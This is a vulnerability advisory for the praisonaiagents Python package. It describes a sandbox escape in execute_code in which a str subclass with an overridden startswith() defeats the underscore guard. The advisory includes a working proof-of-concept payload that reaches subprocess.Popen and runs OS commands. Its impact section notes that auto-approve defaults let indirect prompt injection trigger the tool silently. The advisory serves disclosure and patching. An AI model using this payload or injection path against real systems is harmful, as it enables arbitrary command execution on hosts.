PraisonAI: Python Sandbox Escape via str Subclass startswith() Override in execute_code
Summary
execute_code() in praisonai-agents runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a str subclass with an overridden startswith() method to the _safe_getattr wrapper, achieving arbitrary OS command execution on the host.
Details
python_tools.py:20 (source) -> python_tools.py:22 (guard bypass) -> python_tools.py:161 (sink)
# source -- _safe_getattr accepts any str subclass
def _safe_getattr(obj, name, *default):
if isinstance(name, str) and name.startswith('_'): # isinstance passes for subclasses
raise AttributeError(...)
# hop -- type() is whitelisted in safe_builtins, creates str subclass without class keyword
FakeStr = type('FakeStr', (str,), {'startswith': lambda self, *a: False})
# sink -- Popen reached via __subclasses__ walk
r = Popen(['id'], stdout=PIPE, stderr=PIPE)
PoC
from praisonaiagents.tools.python_tools import execute_code
payload = """
t = type
FakeStr = t('FakeStr', (str,), {'startswith': lambda self, *a: False})
mro_attr = FakeStr(''.join(['_','_','m','r','o','_','_']))
subs_attr = FakeStr(''.join(['_','_','s','u','b','c','l','a','s','s','e','s','_','_']))
mod_attr = FakeStr(''.join(['_','_','m','o','d','u','l','e','_','_']))
name_attr = FakeStr(''.join(['_','_','n','a','m','e','_','_']))
PIPE = -1
obj_class = getattr(type(()), mro_attr)[1]
for cls in getattr(obj_class, subs_attr)():
try:
m = getattr(cls, mod_attr, '')
n = getattr(cls, name_attr, '')
if m == 'subprocess' and n == 'Popen':
r = cls(['id'], stdout=PIPE, stderr=PIPE)
out, err = r.communicate()
print('RCE:', out.decode())
break
except Exception as e:
print('ERR:', e)
"""
result = execute_code(code=payload)
print(result)
# expected output: RCE: uid=1000(narey) gid=1000(narey) groups=1000(narey)...
Impact
Any user or agent pipeline running execute_code() is exposed to full OS command execution as the process user. Deployments using bot.py, autonomy_mode.py, or bots_cli.py set PRAISONAI_AUTO_APPROVE=true by default, meaning no human confirmation is required and the tool fires silently when triggered via indirect prompt injection.
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | praisonaiagents | < 1.5.90 | 1.5.90 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H- Weakness (CWE)
CWE-693- Platform
- Python (PyPI)
- Package
praisonaiagents- Disclosed
- 01.04.2026
- Updated
- 11.10.2026 14:17
Sources and licenses
OSV / GitHub Advisory Database - GHSA-6vh2-h83c-9294 - CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2026-484 - PyPA Advisory Database; CC BY 4.0
Vulnerability history: praisonaiagents
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 50
- First → latest
- 04.2026 10.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 10
- High 27
- Medium 13
Disclosures per year
- 2026: 50
-
PraisonAI: Python Sandbox Escape via str Subclass startswith() Override in execute_code this entry
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